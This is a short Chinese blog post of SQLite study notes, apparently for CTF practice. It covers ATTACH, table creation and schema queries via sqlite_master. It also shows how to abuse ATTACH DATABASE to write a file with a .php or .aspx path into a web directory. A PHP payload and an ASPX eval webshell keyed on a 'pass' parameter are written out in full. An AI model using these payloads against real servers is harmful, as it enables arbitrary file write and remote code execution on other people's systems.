sqlite数据库学习

前言

最近遇到蛮多sqlite数据库的,感觉也是mysql考烂了吧,所以这里来总结一下

sqlite使用

指令解释

attach database 'a' as 'b';
创建一个数据库文件a命名为b联系在当前使用的数据库下

创建数据库

sqlite3.exe 数据库名.db

附加数据库的基本语法是:ATTACH DATABASE 'DatabaseName' As 'Alias-Name';。如果数据库尚未被创建,这个命令将创建一个数据库,如果数据库已存在,则把数据库文件名称与逻辑数据库 ‘Alias-Name’ 绑定在一起。例如附加一个bb.db的数据库,别名为a,命令为:attach database 'd:\\sqlite\\bb.db' as 'a';。

创建表并插入数据

create table a.tt(dataz text); INSERT into a.tt(dataz) VALUES ('test');

sqlite可以生成任意后缀的数据库文件例如创建一个php结尾的数据库文件,新建一个名为exp的表,并在其中插入数据,内容为:<?php phpinfo();?>

具体命令如下:

ATTACH DATABASE 'D:\xxx\www\234.php' AS test2 ;create TABLE test2.exp (dataz text) ; insert INTO test2.exp (dataz) VALUES ('<?php phpinfo();?>');--

测试了一下,发现竟然可以跨目录创建,那么就意味着我们可以创建任意文件,这也将为我们写shell构造了其他方法,前提是需要知道一个绝对路径
img

同样的方法生成aspx后缀的数据库文件,创建表,并插入<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>。然后将该文件放在IIS服务的web目录。发现其中的APSX代码也会被解析。

写shell时遇到特殊字符处理方法

1.使用十六进制进行写入

2.SQLite中十六进制的写法为:x'....',而不是0x....

参考:https://fuping.site/2017/07/19/SQLite-Injection-Get-WebShell/

查询指令

sqlite中可以查询的数据库有

sqlite_master,sqlite_temp_master,sqlite_schema,sqlite_temp_schema
select sqlite_version();
select sql from sqlite_master;
select sql from sqlite_master where type='';
select sql from sqlite_master where type='' and name ='';

如果查出来的view,可以直接查询

CREATE VIEW view_p_sum (Product, P_SUM) AS
SELECT Product, Price*Quantity FROM p_orders GROUP BY Product;
##可以使用
select * from view_p_sum
Author

vague huang

Posted on

2021-12-09

Updated on

2021-12-09

Licensed under

Comments